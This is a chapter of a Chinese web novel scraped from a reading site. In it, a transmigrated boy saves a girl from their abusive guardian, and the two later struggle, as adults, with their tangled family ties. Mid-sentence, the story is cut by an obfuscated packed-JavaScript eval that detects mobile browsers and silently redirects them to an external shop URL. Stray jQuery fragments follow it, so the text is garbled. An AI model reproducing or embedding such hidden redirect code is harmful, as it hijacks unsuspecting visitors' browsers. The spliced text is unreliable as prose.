文趣网 > 都市小说 > 争渡,应是归途 > 14. 项圈和月亮
    十九年前,安南县谢家村那个没有月光的夜晚。

    贺铮是在那天夜里醒来的。

    醒的时候,四肢僵硬地蜷缩在柴房地上,嘴唇干裂,胃里是钻子在搅动的痛,整个人也饿得发抖。

    前一刻,他还坐在电脑前,面前摊着一份改了七次稿的剧本大纲,屏幕上是晋江小说的一本网文的在线阅读页面,标题叫《再见!俊生》,讲的是男女主破镜重圆的爱情故事。

    他当时的改编剧本正写到第二集,男主的堂弟被饿晕的桥段。然后胸口一阵发闷,眼前一黑,所有的事情都断了。

    再度有意识的时候,已经变成了一个八岁小男孩。

    破旧的土胚房,发霉的稻草堆,空气里弥漫着牲口粪便和腐烂木头混合着的味道。

    他奄奄一息地趴在地上,身上穿着一件大两号的背心,领口都磨出了毛边,膝盖和小腿上全是淤青。

    脑海中涌进了一大段不属于他的记忆,不属于原主的过往在他面前闪现。

    原主叫谢铮,被谢超英从人贩子手里花了两千块买回来的,名义上是养子,实际是个免费的劳力。

    五岁开始割草喂猪,六岁洗衣做饭,七岁跟着下地干活。

    吃的是剩饭,穿的是堂哥谢俊生不要的旧衣服,挨打关禁闭是家常便饭。

    而他之所以被关在柴房奄奄一息,是因为今天晚上家里来了客人,谢超英那个新同居的女人带着女儿秀英到了。

    他因为上桌吃饭时夹了一块肉,被谢超英一筷子扇翻在地,一边口里骂着他没有教养,一边拎着他的后领拖进了柴房。

    按照原书剧情,本该是书中男主谢俊生半夜给堂弟送馒头,从此建立起兄弟之间的情谊,贺铮也成为后面多次推动剧情的工具人。

    可那天晚上,推开柴房门的人,却是那个穿着红裙子的瓜子脸少女,原著中的女主,十四岁的郑秀英。

    少女的背后仿佛有一道光,照亮了他一生的阴霾。

    她手里端着厨房的剩菜还有两个馒头,蹲在他面前时,眼眶还有些泛红,声音压低得比蚊蝇声还小。

    “赶紧吃吧,他们睡了。”

    “谢谢,姐姐。”小铮接过碗的时候手一直在抖,不知道是冷还是饿,馒头刚咬一口下去,眼泪就不争气地掉了下来。

    郑秀英伸手替他擦了一把脸,嘴里还骂了一句:“吃个饭你还哭,以后我就是你姐姐了,你要勇敢些。”

    那是贺铮在这个书中世界吃到的第一顿饱饭。

    也是他从上辈子到这辈子,第一次被人心疼。

    吃完饭后,郑秀英瞧瞧把饭菜拿了出去。

    深夜的月光很亮堂,贺铮却毫无困意,脑海里想的是要怎么回去。可外头的声音,打破了一切。

    他透过柴房门缝,看到酒气熏天的谢超英推开了秀英姐姐屋子的门,屋里头传来了压抑的挣扎声和摇曳的人影。

    是原著剧情中的女主遭到的危机。

    贺铮警惕地抄起墙角一块松动的砖头,从柴房侧面的狗洞钻了出去,然后朝着秀英的房门而去。

    他虽有个成年人的灵魂,却只有一具八岁的瘦弱身躯,可他却等不了评估的时间,因为若晚一步,秀英就遇害了。

    砖头砸向谢超英后脑勺的时候,他感觉自己的手臂都跟着震麻了,鲜红的血从谢超英的后脑勺溢出。

    贺铮趁乱一把拉过衣衫褴褛的秀英姐姐,凭着原主的记忆,一路躲着溜出院子,又跑过泥泞田埂路,然后跑到河边,把她推上了那条旧木船。

    郑秀英离开时,他不停重复着那句话:“姐姐,我叫小铮,月亮能照亮脚下的路,等我长大我就去找你。”

    可他后来被谢超英抓了回去,皮鞭落在他瘦弱的身体上,是火辣辣的疼,全身都是红痕和伤口,没有一处完好。

    然后被锁在屋子里整整三天三夜,饿到神志不清。

    但他从来没有后悔。

    因为他知道,这本破书的设定,他不认。

    谢俊生不是什么好大哥,郑瑛子也不该是任何人的纸片人。

    而他这个在书中注定沦为炮灰的小角色,偏偏要把月亮从烂泥里捞出来。

    窗棂的缝隙处一缕月光落了下来,照得他脸上半明半暗。

    可他依然对着窗外的月亮伸出了手,从那缕光晕中,看到了姐姐的虚影。

    那是月亮,专属于他贺铮的月亮。

    ……

    天上那轮弯月透过落地窗,把二十七岁贺铮半张脸照得很亮,另外半张脸藏在暗处。

    “你是瑛子,不是姐姐。”

    他对着月光伸出手,在那缕光晕中,琥珀色的眼底翻涌着压不住的情绪。

    郑瑛子盯着他看了很久,久到窗外的蝉鸣声都换了一轮。

    “谢铮,你知不知道自己在说什么?”

    “我知道。”

    “你名义上的养父,跟我名义上的继父,是同一个人。”郑瑛子把话说得很慢,每一个字都在确认他到底在想什么。

    “谢超英。”

    贺铮念叨了这个名字,唇角的弧度早已收得干净,周身的气场都阴沉了下去:“这个名字,本不该在你我之间出现。”

    “可他从来都在。”

    郑瑛子退开了半步,双手环胸把自己圈成一小团,声音都埋进了双腿里。

    “我的生物学母亲嫁给了你的养父,我和你的堂哥还没离婚,我目前从伦理上来说,是你的堂嫂,也是你的姐姐。”

    这话从她口中落下时,嗓子眼都是干涩的,声音都像是被人拿砂纸搓过。

    贺铮收回手,想要把手落在她的后背上,可终究是停在了离后背一寸处的半空中。

    “瑛子,过去是拴在我脖子上的项圈,不是我的身份。”

    “但别人不会这么看。”

    “别人怎么看我不在乎,我只在乎你怎么看。”

    郑瑛子的每一句都能被他堵死,她无力地闭了眼。

    贺铮坐在沙发上,白衬衫的领口松开,月光已经挪到他的胸口,刚好照得皮肤发白。

    整个人坐在那,就如扎进她生活里的树,拔不掉,砍不断,她越是推,他越是往深处扎根。

    可她不能松口。

    不是不想,是不敢。

    她一个三十三岁的女人,离婚都没离干净,还带着一个六岁的孩子。头顶是舆论风暴,身后跟着一个甩不掉的亲妈和吃

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939916|213877||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    绝户的继父,任何一样拎出来都能让她焦头烂额。

    这时候再和一个比自己小六岁,还沾亲带故的男人搅在一起,除了把他拖下水,毫无用处。

    再睁开眼时,郑瑛子的语气已经恢复淡漠:“谢铮,我今天累了。”

    贺铮看着她那张疲惫却滴水不漏的脸,嘴巴张了张到底没再追问一句:“姐姐,你上楼睡吧,我在楼下守着。”

    郑瑛子“嗯”了一声,已经转过身往楼上走,她的背影在暖光里投了一道又窄又长的影子,肩膀绷得更紧了。

    贺铮看到楼上都关灯后,才推开门走到院子里。

    透着月色,他把手机从裤兜里摸了出来,屏幕亮起的瞬间,照出他的脸,唇角那点笑意已经彻底没了踪迹。

    手机里翻出那份加密文件,里头存着一份详细的时间线,每一条证据链都摆得清楚。

    他看了很久,最后拨通了秦妄的电话。

    那头刚接起,就传来了没睡醒的声音:“铮哥,做乜?凌晨三点,你给我打电话合适吗?”

    “帮我查一样东西。”贺铮抬头望了望月光。

    南城的夜空被灯火染成浑浊的橙色,虽然看不到星星,但那轮弯月却十分明亮。

    “谢超英和郑碧莲的结婚登记时间,以及郑秀英的户口迁入迁出记录,要最详细的记录。”

    “查了这些,你要干嘛?”那头打了个哈欠。

    “我要证明一件事。”

    贺铮的声音在夜风里散开,带着从骨头缝里渗出来的阴鸷:“他们理所应当的那层关系,从来不存在。”

    秦妄:“……”

    安静得好一会儿,听筒那头才传来了秦妄的声音:“我明白了,兄弟你终于想通了要发力啊。可万一翻出来,都不是你想要的结果呢?”

    “那就做成我要的结果。”

    贺铮挂了电话,手机在郑瑛子的微信上反复点开,朋友圈每一条动态他都看了一遍,最后点开了她的对话框,打了一行字,又删掉,最后关掉了手机。

    他坐进了那辆黑色的轿车里。

    别墅楼上,纱窗随风飘荡了一下,纱窗后站着的女人,穿着一条真丝睡袍,她手上捏着的手机屏幕上,显示的是谢铮的对话框。

    对话框上面,显示着「正在输入中」,很久,都没有发送过来。

    她按了锁屏,然后躺在床上,陷入了梦乡。

    楼下车里的贺铮,却一夜未眠。

    天刚亮的时候,他准备好了早餐放到厨房,然后手机上点了发送按钮。

    小区门外,那辆迈巴赫停在门口。

    贺铮走出来时,向川立即下车打开了车门,并给他递上了要准备的材料。然后也没问去哪,直接启动了车。

    迈巴赫汇入空荡荡的主路,他靠在座椅上闭上了眼。

    等到车停在滨江路的公寓楼下,贺铮睁开了眼,车窗外的天际线已经泛起鱼肚白。

    他拿起手机,又给郑瑛子发了一条消息。

    「早安,姐姐,今天上午我出去处理一点事,下午回来。」

    发完之后,又打了一行字:「你说的障碍,我会清,但我想告诉姐姐,不要叫我谢铮,叫我贺铮。」